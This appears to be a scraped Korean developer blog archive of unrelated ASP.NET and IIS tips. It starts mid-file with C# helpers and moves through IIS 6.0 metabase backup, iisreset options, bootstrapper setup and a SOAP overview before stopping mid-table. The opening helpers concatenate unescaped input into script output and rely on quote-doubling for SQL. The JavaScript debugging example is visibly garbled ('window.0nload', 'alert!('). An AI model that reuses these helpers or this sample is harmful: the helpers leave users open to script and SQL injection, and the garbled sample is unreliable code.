            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string HTMLtoSQLServer(string str)

        {

            StringBuilder strbuild = new StringBuilder(str);


            strbuild.Replace("'", "''");


            return strbuild.ToString();

        }


        public static string JavascriptAlertAndLocation(string str,string Locationstr)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   alert(\"" + str + "\");Location.href=\""+ Locationstr +"\";");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        public static string JavascriptAlertAndOpenerReload(string str)

        {

            StringBuilder strbuild = new StringBuilder("");


            strbuild.Append("<script language=\"javascript\">");

            strbuild.Append("   alert(\"" + str + "\");window.opener.Location.reload();window.close();");

            strbuild.Append("</" + "script>");


            return strbuild.ToString();

        }


        //html를 해석을 못하게 할때 이 함수를 가져다 쓴다.

        public static string TagDisable(string str)

        {

            StringBuilder strbuild = new StringBuilder(str);

           

            strbuild.Replace("&apos;", "'");

            strbuild.Replace("&", "&amp;");

            strbuild.Replace("<", "&lt;");

            strbuild.Replace(">", "&gt;");

            strbuild.Replace("\n", "<br>");

            strbuild.Replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;");

            strbuild.Replace(" ", "&nbsp;");


            return strbuild.ToString();

        }


        public static string Tagdate(string str)

        {

            StringBuilder strbuild = new StringBuilder(str);

           

            strbuild.Replace("&apos;", "'");

            strbuild.Replace("&", "&amp;");

            strbuild.Replace("<", "&lt;");

            strbuild.Replace(">", "&gt;");

            strbuild.Replace("\n", "");

            strbuild.Replace("\r", "");

            strbuild.Replace("\"","");

            strbuild.Replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;");

            strbuild.Replace(" ", "&nbsp;");


            return strbuild.ToString();

        }


        public static string Taglecture(string str)

        {



            StringBuilder strbuild = new StringBuilder(str);

           

            strbuild.Replace("\r\n", "<br>");


            return strbuild.ToString();

        }

       


    }

}

출처 : 고수닷컴

 

Windows Script 5.6를 설치함으로 해결함.

 

참고 : http://support.microsoft.com/default.aspx?scid=kb;en-us;323885

 

Windows Script 5.6 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=C717D943-7E4B-4622-86EB-95A22B832CAA&displaylang=en

 

 

PC 에 설치된 OCX activeX 또는 OLE 등에 문제가 있을 경우 나옵니다. 말씀하신 자동화서버 어쩌구..는 Jscript 런타임오류 중 하나입니다.

첫번째 할것으로서 캐쉬를 지우고 다시 시도해봅니다.

인터넷익스플로러의 메뉴중에서 도구 - 인터넷옵션 - 일반 으로 들어가서 한가운데 있는 "파일삭제" 아이콘을 누릅니다. 다시 창이 뜨는데 "오프라인 항목을 모두 삭제... " 여기다 체크표시 하고 확인 누릅니다. 모래시계가 없어질때까지 기다린다음, 다시 파일삭제 오른쪽에 있는 "설정" 아이콘을 누릅니다.

여기서 저장된 페이지 확인 ... 어쩌구 하는 설정을 "페이지를 열때마다" 로 되어있는지 확인하세요. 아마 대부분 "자동으로" 되어있을 겁니다. 그리고 그 밑에 보면 캐쉬 크기 설정하게 되어있는데 엄청 클겁니다. 이걸 15MB 정도로 팍 줄여버리세요.

전부 확인 눌러서 나가고 .. 익스플로러 떠있는거 전부 닫아버리고 처음부터 다시 열어서 잘 되는지 확인해보세요.

그래도 안된다면??
그러면 Microsoft 의 기술문서를 좀 찾아야 합니다.

http://support.microsoft.com/default.aspx?scid=fh;KO;KBHOWTO

위 주소로 갑니다.

기술문서 종류 : 한글
제품은 : Internet Explorer 6.0
검색어 : "자동화 서버는 개체를 만들 수 없습니다"
결과제한 : 150개 로 놓고 검색합니다.

몇가지가나올텐데 여기서 중간쯤에 보면 "자세히 검사하기" 라는 탭이 있습니다.
그걸 누르면 결과내 재검색이 나옵니다. 여기다가는 "페이지에 오류가 있습니다" 를 놓고 재검색 해보세요. 결과가 좀 줄어들텐데 그중에서 제일 근접한 에러를 찾아보세요.


비주얼 웹 디벨로퍼 2005 익스프레스로 자바스크립트 디버그 하기




비주얼 웹 디벨로퍼 2005 익스프레스로 자바스크립트의 디버그 작업을 할 수 있습니다. 그러나 개발환경이 비주얼 웹 디벨로퍼 2005 익스프레스가 아닌 상황이라면, 디버그 작업이 허용되지 않습니다. 상용 비주얼 스튜디오 2005에서는 스크립트의 디버거가 필요한 상황에서 인터넷 익스플로러에서 바로 연결을 시켜주지만, 익스프레스 버전에서는 그러한 기능이 제외되었기 때문입니다. 여기서는 개발환경이 비주얼 웹 디벨로퍼 2005 익스프레스가 아닌 경우에 어떻게 비주얼 웹 디벨로퍼 2005 익스프레스에서 인터넷 익스플로러 브라우저의 스크립트 디버그를 할 수 있을지를 알아보도록 하겠습니다. 방법은 간단하며, 다음을 따라 해보시면 됩니다. 우선 다음과 같이 디버그 작업을 해볼 소스를 하나 준비하겠습니다.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/java script">
window.0nload = function() {
var hello = document.getElementById( "Hello" );
debugger;
alert!( hello.innerHTML );
}
</script>
</head>
<body>
<div id="Hello">Hello</div>
</body>
</html>
이제 이 파일을 비주얼 웹 디벨로퍼 2005 익스프레스에서 디버그하는 방법은 다음과 같습니다.
  1. 비주얼 웹 디벨로퍼 2005 익스프레스를 실행합니다.
  2. 파일 > 새 웹 사이트를 클릭합니다.
  3. 빈 웹 사이트를 선택한 후, 위치 항목은 파일 시스템을 선택해서 적당한 경로를 선택해줍니다. 이 경로는 그냥 임시로 쓰이며, 아무 파일도 필요없이 그냥 빈 디렉터리면 됩니다.
  4. 확인을 클릭합니다.
  5. 이제 솔루션 탐색기를 보면 새 솔루션이 하나 생성되어있을 것입니다.
  6. 메뉴의 디버그 > 디버깅 시작을 클릭합니다.
  7. 디버깅 사용 안 함이라는 창이 나타났다면, 디버깅하도록 설정한 새 Web.config 파일 추가를 선택한 후 확인을 클릭합니다.
  8. 이제 잠시후면, 비주얼 웹 디벨로퍼 2005 익스프레스가 인터넷 익스플로러를 실행할 것입니다. 실행될 인터넷 익스플로러는 디버그 모드로 비주얼 웹 디벨로퍼 2005 익스프레스가 스크립트에 간섭할 수 있는 상태가 됩니다.
  9. 이제 이 인터넷 익스플로러 창에서 아까 작성한 파일을 열어줍니다.
  10. 이제 파일의 9번째 줄의 debugger; 라는 코드가 하이라이트 되면서 해당 라인에서 스크립트 실행이 멈추고, 비주얼 웹 디벨로퍼 2005 익스프레스가 해당페이지를 디버그 할 수 있는 상태가 될 것입니다.
  11. 이제 마음껏 디버깅을 즐기시면 됩니다.


펌 : http://delimount.com
출처 : http://cafe.daum.net/aspdotnet

사용자 삽입 이미지








 ▲listbos1(다중선택)                               ▲listbox2(다중선택)


listbox1에서 여러개의 item을 다중선택하여 listbox2로 추가하였을 때

문제점)
1. listbox1의 selected 속성이 0번 index를 제외하고 모두 false로 된다.
즉, 2번, 3번의 index를 선택하여도 0번index의 item만이 listbox2로 추가된다.


해결한 방법)

listbox에는 DataTextField 와 DataValueField 의 속성을 가지고 있는데 이 중에 DataValueField의 값을 모두 같게 둔다면 위와 같은 현상이 일어날 수 있다.
(test를 위해서 DataValueField의 값을 모두 같게 주었었다...ㅡ.ㅡ;;...)

<추가 사항>
---------------------------------------------------
첫번째, 아이템을 추가할때
<input type=hidden runat=server id=hdnItems> 필드에 내용을 저장하는 방법입니다...

function AddItem()
{
    //아이템 추가
    //추가된 아이템의 값저장(예, 1;2;3;4; )
    document.all['<%=hdnItems.ClientID%>'].value += '추가된 아이템의 value값' + ';';
}

서버컨트롤 실행후

void Button1_Click()
{
    string[] items = this.hdnItems.Value.Split(';');
    foreach(string item in items)
    {
        Response.Write(item + "<br>");
    }
}

두번째, 포스트백을 일으키는 버튼을 클릭했을때
<input type=hidden runat=server id=hdnItems> 필드에 내용을 저장하는 방법입니다...

function SaveItems()
{
    var lb = document.all['<%=ListBox1.ClientID%>'];
    var hval = document.all['<%=hdnItems.ClientID%>'];
    var temp = '';

    for(var i=0; i<lb.length; i++)
    {
        temp += lb.options[i].value + ';'
    }
    hval.value = temp;
}

위의 스크립트를 버튼을 클릭했을때 넣어주면 되겠죠^^

this.Button1.Attributes[""] = "SaveItems();";

void Button1_Click()
{
    string[] items = this.hdnItems.Value.Split(';');
    foreach(string item in items)
    {
        Response.Write(item + "<br>");
    }
}

Pass by Reference 형태가 다분히 로컬 애프리케이션에서만 적용되는 것이 아니고 분산된 환경에서도 적용될 수 있다. 또, 데이터를 많이 가지고 있는 Data Set의 경우 Pass by Value의 형태보다는 Pass by Reference형태의 전달 방식을 사용하면 리소스의 사용에 적은 부담을 가질 수 있다.

 하지만 데이터를 공유한다는 측면에서 조심스럽게 다루어야 한다는 것과 보안에 주의해야한다는 점을 알아야 한다.
웹 서비스를 이용하는 방법을 생각해 보자. 계산기능을 전문적으로 하는 서비스로의 서버를 만들수 있다. 클라이언트로부터 어떤 서비스 요청이 들어 왔을 때(ex- 두 숫자를 더하는 계산 등) 웹 사이트 서버는 웹 서비스 서버에 적재되어있는 계산함수를 호출하게 된다.(원격 프로시져의 호출 - RPC: Remoting Procedul Call) 

 호출 할 때 클라이언트로부터 받은 입력된 두 숫자는 웹 서비스 서버의 계산함수의 파라미터로 전달된다. 웹 서비스 서버에서는 계산기능을 수행하고 난 결과 값을 웹 사이트 서버로 넘겨주게 되고, 웹 서버에서는 결과치를 HTML로 변화하여 클라이언 측으로 보내주게 된다. 이때, 웹 사이트 서버에서의 서비스 함수를 호출 할 때 XML포멧으로 요청하게 되며 리턴되는 결과값도 XML형식의 값으로 전달받는다.

 즉, 웹 서비스란 어떠한 보여줌(View)의 기능보다는 계산(Calculation)적인 요소가 많이 들어가 있는 개념이며 서비스이다.

 웹 서비스는 HTTP를 통한 Remoting Method Call을 수행하는 새로운 아키텍처이다. 클라이언트는 웹 서버내에 정의된 메소드를 호출(Method Call)함으로서 서비스를 받을 수 있다. 인터넷이란 분산환경에서 그 중요성이 커지고 있는 부분은 원격지 응용프로그램과 상호 작용할 수 있어야 한다는 점이다. 이러한 종류의 이터랙션은 주로 클라이언트가 매개 변수를 전달하고 그 결과를 반환하는 프로시져 호출(RPC)로서 모텔링 된다.

 HTTP가 아주 융통성 있는 기술인 것은 사실이지만, 원격 프로시저를 호출하기 위한 프로토콜로서 설계된 것이 아니기 때문에 적절하지 못하다. 그 대신 원격지 응용 프로그램과 통신하는데 사용할 수 있는 다양한 분산객체 프로토콜이 존재한다.

 그 중에는 마이크로 소프트의 디스트리뷰트 컴퍼넌트 오브젝트 모델(Distributed Component Object : DCOM)에서 서용되는 프로토콜, 오브젝트 매니지먼트 그룹(Object Management Group)에서 정의된 Internet Inter-ORB Protocol(IIOP)등이 있다. 이러한 프로토콜은모두 클라이언트가 서버응용 프로그램에게 RPC를 전달한 다음 응답을 받게하는 서비스를 제공한다.

 보통 프로토콜에서는 서로간의 포트를 통하여 통신하게 된다. 예를 들어 HTTP는 80번 포트를, FTP는 21번 전용 포트 등을 사용하여 서로간의 메시지를 전달하게 된다. 반면에 위에서 소개한 분산객체 프로토콜들은 동적으로 할당받은 프로토콜을 사용하여 클라이언트와 서버사이에 통신을 하도록 한다.

 그러나 이부분에서 문제점이 발생한다. 만약 방화벽이 설치되어 있다면 전용프트를 사용하지 않는 포트들은 블로킹을 당해 통신할 수 없다. 따라서 위의 임으적으로 포트번호를 할당받는 분산객체 프로토콜등은 메시지를 전달할 수 없다는 결론이 나온다.

 우리는 "HTTP 프로토콜과 같이 보낼 수 있다면?"이라는 생각을 가질 수 있다. HTTP프로토콜은 전용 80번 포트를 사용하고 방화벽에 의해서 블로킹 당할 필요가 없기 때문에 분산환경에서 리모팅을 호출하는데 있어서 전혀 문제 될 것이 없다. 그래서 SOAP이 탄생하게 된다.

 SOAP(Simple Object Access Protocol)은 HTTP맨 위에 분산객체 프로토콜을 올려 전달하는 것이다. SOAP은 XML 문서를 포함할 수 있는 전용 프로토콜이라 했다. XML문서 내어에는 원격 메소드에 대한 정보(호출할 메소드 이름 등)가 실려있으며 그 정보에 의해서 원격 메소드에 대한 호출을 가능하게 만들어준다.

 클라이언트 측에서 요청한 SOAP패킥은 HTTP Post방식으로 웹 서비스에 넘어가고 웹 서비스의 ASP.NET에서 패킷을 파싱하고 객체와 매소드 이름을 분리해 내어 객체에 대해서는 인스턴스를 실행하고 생성된 객체로 하여금 네소드 호출을 실행한다.

 웹 서비스는 분산환경에서 마치 하난의 컴포넌트처럼 쓰일 수 있다. 웹 서비스는 끼워넣기식으로 하나의 또 다른 클리이언트에 부착될 수 있으며, 웹 환경뿐만아니라 웬도우 애플리케이션에도 임포트 될 수 있다. 웹 서비스는 분산환경에서 사용될 수 있는 컴포넌트라고 생각해도 좋다. 서로간의 웹 서비스들은 Xml과 SOAP을 이용해서 메소드의 정보를 전달하며 통신한다. 이렇게 웹 서비스는 커다란 거미줄 처럼 묶이변서 하나의 애플리케이션을 형성하는 것이다.

 결론을 내리면 닷넷 환경의 핵심은 XML과 SOAP을 이용한 분산 서비스의 구현이라고 볼 수 있다.

-C# & .NET Programming Bible 2nd Edition 에서

1. Web.Config에서 한글 설정
<globalization requestENCODING="ks_c_5601-1987" responseENCODING="ks_c_5601-1987" />
 이렇게 하면 당연히 될 것 같은데 잘 안돼는 경우도 발생.

2. Server.UrlEncode의 사용
소스에 ("Content-Disposition","attachment; filename=" + Server.UrlEncode(strFilename));

 

IIS 6.0 관리 메타베이스 백업
메타베이스는 IIS 구성 설정을 저장하는 계층적 구조로, Windows 시스템 레지스트리와 같은 기능을 일부 수행하지만 IIS 전용입니다.


Microsoft IIS 4.0 및 Microsoft IIS 5.0의 메타베이스 구성과 스키마는 쉽게 읽거나 편집하지 못하는 이진 파일로 저장됩니다. IIS 6.0은 단일 이진 파일(MetaBase.bin)을 MetaBase.xml과 MSSchema.xml이라고 하는 XML 형식의 일반 텍스트 파일로 바꿉니다. 이러한 파일은 컴퓨터의 %SystemRoot%\System32\Inetsrv 폴더(C:\Windows는 일반적으로 시스템 루트 폴더임)에 저장됩니다. 관리자 그룹의 구성원인 사용자만 이 파일을 보고 수정할 수 있습니다. IIS 관리자는 인터넷 정보 서비스(IIS) 관리나 프로그램 스크립트를 사용하여 백업 파일을 만들 수 있습니다. 백업 파일은 메타베이스 구성 파일(MetaBase.xml) 및 일치하는 메타베이스 스키마 파일(MSSchema.xml)의 복사본입니다. 이 문서에서는 관리 설정을 복구할 수 있도록 메타베이스를 쉽게 백업하는 방법을 설명합니다.


IIS 6.0 메타베이스의 관리 백업 만들기
참고: 이 작업을 수행하려면 관리자 권한이 있어야 합니다. IIS 서비스를 중지하지 않아도 됩니다.

1. 시작을 누르고 관리 도구를 가리킨 다음 인터넷 정보 서비스(IIS) 관리를 누릅니다.
2. 인터넷 정보 서비스(IIS) 관리에서 컴퓨터 이름을 마우스 오른쪽 단추로 누르고 모든 작업을 가리킨 다음 구성 백업/복원을 누릅니다. 
3. 구성 백업/복원 대화 상자에서 백업 만들기를 누른 다음 이 백업 이름을 입력합니다.
참고: 보안 백업을 만들려면 구성 백업 대화 상자에서 암호를 사용하여 백업을 암호화 확인란을 선택하고 암호 상자에 암호를 입력한 다음 암호 확인 상자에 같은 암호를 입력합니다. 백업 이름에 기호는 사용할 수 없으며 문자와 숫자만 사용할 수 있습니다.
4. 확인을 누르면 메타베이스에 관리 설정이 신속하게 백업됩니다. 이제 백업 이름 및 날짜/시간이 이전 백업 대화 상자에 나열됩니다.
5. 닫기를 누른 다음 인터넷 정보 서비스(IIS) 관리를 종료합니다.
6. 메타베이스 백업을 복원하려면 인터넷 정보 서비스(IIS) 관리에서 컴퓨터 이름을 마우스 오른쪽 단추로 누르고 모든 작업을 가리킨 다음 구성 백업/복원을 누릅니다. 이전 백업에서 원하는 파일 이름을 선택한 다음 복원을 누릅니다. 암호를 묻는 메시지가 나타나면 암호를 입력합니다.

메타베이스 백업을 프로그래밍 방식으로 만들기
IIS 6.0에서 Vbscript 파일인 Iisback.vbs를 실행하여 메타베이스 백업을 만들 수 있습니다.

참고: 이 작업을 수행하려면 관리자 권한이 있어야 합니다.

1. 명령 프롬프트에서 cd %Systemroot%\System32를 입력합니다.Iisback.vbs는 이 디렉터리에 있습니다.
2. 메타베이스 백업을 사용하려면 다음 구문과 매개 변수를 사용하십시오.

구문: IIsBack [/s <server> [/u <user name> [/p <password>]]] /backup [/b <BackupName>] [/v <VersionNumber>] [/e <BackupPassword>][/overwrite]

매개 변수:
값                                                  설명
/s <server>             컴퓨터 <server>에 연결[기본값: 이 시스템]
/u <user name>       <user name> 또는 <domain>\<user name>으로 연결[기본값: 현재 사용자]
/p <password>        <user name> 사용자의 암호
/b <BackupName>    백업 파일 설명 [기본값: "SampleBackup"]
/v <VersionNumber> 백업에 할당할 버전 번호를 지정합니다. 정수, HIGHEST_VERSION 또는 NEXT_VERSION
                              이 될 수 있습니다. [기본값: NEXT_VERSION]
/e <BackupPassword> 제공된 암호로 백업 파일을 암호화
/overwrite                지정된 위치에 동일한 이름과 버전을 가진 백업이 있는 경우에도 백업하고 필요할 경우
                               덮어씁니다. [기본값: disabled]
     
 
3. 예를 들어, 다음 스크립트를 실행할 수 있습니다.
Cscript.exe iisback.vbs /s <YourServerName> /u Administrator /p <YourAdminPassword> /backup /b NewBackup0606202
     
 

메타베이스 기록 기능
기본적으로 메타베이스 기록 기능은 IIS 6.0에 설정되어 있습니다. MaxHistoryFiles 속성의 기본값은 10으로 설정됩니다. 메타베이스 기록 기능은 디스크에 기록한 메타베이스에 대한 변경을 자동으로 추적합니다. 메타베이스를 디스크에 기록할 때 IIS는 새 Metabase.xml 파일에 버전 번호를 표시하고 기록 폴더에 파일 복사본을 저장합니다. 각 기록 파일에는 고유한 버전 번호가 표시되어 있어 메타베이스 롤백이나 복원 프로세스에 사용할 수 있습니다. 한 쌍의 기록 파일은 MetaBase.xml과 MBSchema.xml 파일로 구성되어 있고 동일한 주 버전과 부 버전 번호로 명명되며 기록 폴더에 저장됩니다. 이 복사본은 관리자 그룹의 구성원인 사용자만 볼 수 있습니다.기록 폴더는 다음 위치에 있습니다.


%Systemroot%\system32\inetsrv\history

기록 파일에서 메타베이스를 롤백할 수 있습니다. 이렇게 하려면 다음과 같이 하십시오.

1. 인터넷 정보 서비스(IIS) 관리의 인터넷 정보 서비스에서 컴퓨터 아이콘을 누릅니다.
2. 동작 메뉴에서 모든 작업을 가리킨 다음 구성 백업/복원을 누릅니다. 
3. 이전 백업에서 목록에 있는 자동 백업 파일 중 하나를 누른 다음 복원을 누릅니다.

출처 : MSDN

 

- 인터넷 정보 서비스(IIS)의 정지, 재 시작 등의 컨트롤 프로세스


1. 파일 위치 : %SystemRoot%\system32\iisreset.exe


2. 사용법 : iisreset  [computername]


/RESTART                     모든 인터넷 서비스를 중지한 다음 다시 시작합니다.


/START                         모든 인터넷 서비스를 시작합니다.


/STOP                           모든 인터넷 서비스를 중지합니다.


/REBOOT                      컴퓨터를 다시 부팅합니다.


/REBOOTONERROR      인터넷 서비스를 시작, 중지 또는 다시 시작할 때 오류가

                                      발생하면 컴퓨터를 다시 부팅합니다.


/NOFORCE                   인터넷 서비스를 성공적으로 중지하지 못하는 경우,

                                     인터넷 서비스를 강제로 종료하지 않습니다.


/TIMEOUT:val              인터넷 서비스를 성공적으로 중지하기 위해 대기할 시간 제한

                                     값(초)을 지정합니다. 이 시간 제한이 만료되면,

                                     /REBOOTONERROR 매개 변수가 지정된 경우에는 컴퓨터를

                                     다시 부팅할 수 있습니다. 기본값은 다시 시작하는 데 20초,

                                     중지하는 데 60초, 다시 부팅하는 데 0초입니다.


/STATUS                      모든 인터넷 서비스의 상태를 표시합니다.


/ENABLE                     로컬 시스템에서 인터넷 서비스를 다시 시작할 수 있습니다.


/DISABLE                    로컬 시스템에서 인터넷 서비스를 다시 시작할 수 없습니다.

 

[개요]

 

Microsoft Visual Studio .NET 2003 Bootstrapper Plug-In을 사용하면 응용 프로그램과 함께 .NET Framework 1.1 및/또는 MDAC 2.7을 재배포하는 설치 관리자를 쉽게 만들 수 있습니다.

.NET Framework 응용 프로그램이 특정 컴퓨터에서 실행되도록 하려면 해당 컴퓨터에 .NET Framework가 설치되어 있어야 합니다. ADO.NET을 사용하여 데이터베이스에 연결하는 모든 .NET Framework 응용 프로그램은 MDAC 2.7을 요구합니다. 많은 컴퓨터에 이미 이러한 구성 요소가 설치되어 있지만 응용 프로그램이 확실하게 실행되도록 하려면 응용 프로그램과 함께 이 구성 요소를 재배포해야 합니다.

Visual Studio .NET 2003 Bootstrapper는 Visual Studio .NET 설치 프로그램 및 배포 프로젝트와 통합됩니다. 이 Bootstrapper를 사용하여 대상 컴퓨터에 요구되는 필수 구성 요소가 있는지 검사하여 필요한 경우 자동으로 해당 요소를 설치하는 단일 설치 관리자를 만들 수 있습니다. 컴퓨터를 다시 시작해야 하는 구성 요소가 있는 경우, 설치 관리자는 이후에 자동으로 작업을 다시 진행합니다. 응용 프로그램 사용자는 단지 하나의 설치 프로그램을 실행하여 필수 구성 요소와 응용 프로그램을 설치하면 됩니다.


[한번의 인스톨로 닷넷 환경을 완벽하게 갖추자.]

 

왜 부트스트래퍼가 필요한지가 궁금할것이다...

먼저 사용자 환경은 내 프로그램이 필요로 하는 기본 요구사항들을 만족하고 있는지 알수없다.

실행해보기 전까지는 말이다.

 

정작 자신이 개발한 프로그램을 배포해보면 정말 이유도 가지가지다.

안되는 이유말이다.

 

이 이유들중 가장 중요한 이유 두가지를 부트스트래퍼를 이용해서 처리해 보도록 하겠다.

 

먼저 아래의 url 로 이동해서 MS에서 제공하는 Microsoft Visual Studio .NET 2003 Bootstrapper Plug-In 을 이용해보도록 하겠다.

 

http://www.microsoft.com/downloads/details.aspx?FamilyID=627921a0-d9e7-43d6-a293-72f9c370bd19&DisplayLang=ko

 

간단하게 PluginInstaller.msi 파일을 설치하는것만으로도 셋팅은 끝난다.

정말이지 쉽고 간편하다.

몰라서 사용하지 못하는것 뿐이지 어려워서 사용하지 못하는건 적어도 아니다.


Capture2.gif     

 

설치하고나면 이렇게 부트스트래퍼가 생긴다.

이 프로그램이 설치되어있는 컴퓨터에서 배포프로젝트를 만들어서 배포하게되면 자기가 개발한 용량보다 약 25메가정도가 크다는것을 금방알수가 있을것이다.

 

왜냐하면 이렇게 배포된 인스톨 프로그램에는 기본적으로 프레임웍 1.1 과 언어팩, 그리고 mdac 등이 기본적으로 포함되어있으며 인스톨시에 사용자 컴퓨터에 설치되지 않았을경우 바로 인스톨 화면을 제공해주기 때문이다.

 

실제적용해보면 아주 부드럽게 화면과 화면이 이어지며 프래임워크와 mdac 와 언어팩들을 설치해주는 화면을 볼수있을것이다.

 

기존에는 배포하는 프로그램설치하랴.. 프래임웍 설치하랴.. mdac 설치하랴..언어팩설치하랴... 문제도 많고 말도 많았는데 이런 기능을 이용하면 한번 설치로 상쾌하게 인스톨 시킬수 있을것이다.

 

[정리]

이 이외에도 MSDN에서는 아주 유용한 기능들을 많이 제공한다.

 

출처 : 고수닷넷에 대니님께서 올리신 글.

Visual Studio .NET Framework BootStrapper Plug-in을 사용한 .NET Framework 재배포

Microsoft Visual Studio .NET 2003 Bootstrapper Plug-in 다운로드

Visual Studio .NET 2003의 설치 프로젝트는 응용 프로그램과 함께 .NET Framework를 설치하는 데 사용할 수 있지만, 개발 컴퓨터에 Visual Studio .NET Framework BootStrapper Plug-in 옵션을 설치한 경우에만 가능합니다.

Visual Studio .NET Framework BootStrapper Plug-in은 .NET Framework 부트스트래퍼뿐만 아니라 Windows Installer 부트스트래퍼를 포함하도록 설치 프로젝트의 부트스트래퍼 속성 기능을 수정합니다. 그런 다음 .NET Framework의 재배포 가능 요소는 사용자의 응용 프로그램과 함께 패키지화됩니다. 사용자가 부트스트래퍼 setup.exe를 실행할 경우 이 실행 프로그램은 설치 시에 .NET Framework의 버전이 올바른지 확인하고 필요할 경우 응용 프로그램을 설치하기 전에 이 .NET Framework 버전을 설치합니다.

    참고  영어 외의 언어일 경우 해당 언어용 언어 팩이 .NET Framework와 함께 설치됩니다.

    참고  Visual Studio .NET Framework BootStrapper Plug-in은 웹 부트스트래퍼를 수정하지 않습니다. 부트스트래퍼 속성을 웹 부트스트래퍼로 설정하면 웹을 통해서만 Windows Installer의 부트스트래핑을 실행할 수 있습니다.

또한 응용 프로그램에서 데이터 액세스가 필요한 경우, 설치할 때 Microsoft Data Access Components(MDAC)를 함께 설치할 수 있습니다.


플러그인이 설치되어 있는지 확인하려면

  1. 제어판에서 프로그램 추가/제거를 클릭합니다.
  2. 프로그램 추가/제거 대화 상자의 현재 설치된 프로그램 목록에서 Microsoft Visual Studio .NET 2003 BootStrapper Plug-in을 확인합니다.

    만약 Microsoft Visual Studio .NET 2003 BootStrapper Plug-in이 설치되어 있지 않으면 Visual Studio .NET Framework BootStrapper Plug-in을 다운로드하여 설치해야 합니다.

      참고  Visual Studio .NET Framework BootStrapper Plug-in을 제거하려면 목록에서 선택하여 제거를 클릭하면 됩니다.

설치 프로젝트를 이용해 .NET Framework를 설치하려면

  1. Visual Studio .NET Framework BootStrapper Plug-in이 설치되어 있는지 확인합니다.
  2. 솔루션 탐색기에서 설치 프로젝트를 선택합니다. 프로젝트 메뉴에서 속성을 선택합니다.
  3. 부트스트래퍼 속성을 Windows Installer 부트스트래퍼로 설정합니다.

    .NET Framework 재배포 가능 요소가 완성되면 설치 프로젝트용 Setup.exe와 함께 패키지로 제공됩니다 .

      참고  .NET Framework의 시작 조건은 .NET Framework를 참조하는 모든 프로젝트를 위해 기본적으로 사용 가능하도록 설정되어 있어야 합니다. 시작 조건을 확인하려면 보기 메뉴에서 편집기를 가리킨 다음 시작 조건을 선택하고 .Net Framework라고 되어 있는 시작 조건을 찾습니다.

설치 프로젝트를 이용해 MDAC를 설치하려면

  1. Visual Studio .NET Framework BootStrapper Plug-in이 설치되어 있는지 확인합니다.
  2. 솔루션 탐색기에서 설치 프로젝트를 선택합니다. 보기 메뉴에서 편집기를 가리키고 시작 조건을 선택합니다.
  3. 대상 컴퓨터의 요구 사항 노드를 선택합니다. 작업 메뉴에서 레지스트리 시작 조건 추가를 선택합니다.
  4. RegistryEntry1 검색 노드를 선택합니다. 속성 창에서 RegKey 속성을 선택하고 Software\Microsoft\DataAccess를 입력합니다.
  5. Root 속성을 선택한 다음 vsdrrHKLM를 선택합니다.
  6. Value 속성을 선택한 다음 FullInstallVer를 입력합니다.
  7. Property을 선택한다음 MDACSEARCH를 입력합니다.
  8. 시작 조건 편집기에서 Condition1 노드를 선택합니다. 속성 창에서 Condition 속성을 선택한 다음 MDACSEARCH>="2.6"을 선택합니다.
  9. 솔루션 탐색기에서 설치 프로젝트를 선택합니다. 프로젝트 메뉴에서 속성을 선택합니다.
  10. 부트스트래퍼 속성을 Windows Installer 부트스트래퍼로 설정합니다.

    .NET Framework 재배포 가능 요소와 MDAC는 설치 프로젝트를 위한 Setup.exe와 함께 패키지로 제공됩니다.

/// <summary>
/// 'showMessage'을 리턴하는 데이터 셋 만들기
/// </summary>
/// <param name="columnCount">그리드에 바인딩 될 컬럼 수</param>
/// <param name="columnName">해당 그리드에서 사용하는 컬럼 명</param>
/// <param name="showMessage">0번째 컬럼에 담아서 리턴할 메세지</param>
/// <returns>DataSet</returns>
public DataSet NoDataSet( int columnCount, string columnName, string showMessage )
{
   DataSet ds   = new DataSet( "NoData" );
   DataTable dt = new DataTable( "table" );

   

   string[] strColumnSplit = columnName.Split(',');
   
   for( int c = 0; c < columnCount; c++ )
   {
       dt.Columns.Add( strColumnSplit[c] );  

   }
                    
   ds.Tables.Add(dt);
   
   DataRow row = ds.Tables["table"].NewRow();
   row[0]          = showMessage;

   ds.Tables["table"].Rows.Add(row);

   

   return ds;
}


-------------------------------------------------------------------------------------

/// <summary>
/// 'showMessage'을 리턴하는 데이터 셋 만들기
/// </summary>
/// <param name="columnName">(Array)해당 그리드에서 사용하는 컬럼명</param>
/// <param name="showMessage">0번째 컬럼에 담아서 리턴할 메세지</param>
/// <returns>DataSet</returns>

public DataSet NoDataSet( string[] columnName, string showMessage )
{
   DataSet ds   = new DataSet( "NoData" );
   DataTable dt = new DataTable( "table" );


   for( int c = 0; c < columnName.Length; c++ )
   {
       dt.Columns.Add( columnName[c] );//, typeof(string) );
   }
                    
   ds.Tables.Add(dt);
   
   DataRow row = ds.Tables["table"].NewRow();
   row[0]          = showMessage;

   ds.Tables["table"].Rows.Add(row);

   return ds;

}

 

Appendix

Exceptions to the supported platforms

Namespace

Item

XP Pro

XP Home

2000

NT 4

98 ME

System.Web

 

Y

N

Y

N

N

System.Web.Caching

 

Y

N

Y

N

N

System.Web.Configuration

 

Y

N

Y

N

N

System.Web.Security

 

Y

N

Y

N

N

System.Web.UI

 

Y

N

Y

N

N

System.Web.UI.Design

 

Y

N

Y

N

N

System.Web.UI.Design.WebControls

 

Y

N

Y

N

N

System.Web.UI.Design.Util

 

Y

N

Y

N

N

System.Web.UI.HTMLControls

 

Y

N

Y

N

N

System.Web.UI.WebControls

 

Y

N

Y

N

N

System.Web.Util

 

Y

N

Y

N

N

System.Web.Handlers

 

Y

N

Y

N

N

System.Web.Hosting

 

Y

N

Y

N

N

System.Web.SessionState

 

Y

N

Y

N

N

System.Web.Mail

 

Y

N

Y

N

N

System.EnterpriseServices

 

Y

Y

Y

N

N

System.Messaging

Message.Transaction.Id

Y

Y

Y

N

N

System.Messaging

Message.Transaction.IsLastInTransaction

Y

Y

Y

N

N

System.Messaging

Message.Transaction.IsFirstInTransaction

Y

Y

Y

N

N

System.Diagnostics

Process.PriorityBoostEnabled

Y

Y

Y

Y

N

System.Diagnostics

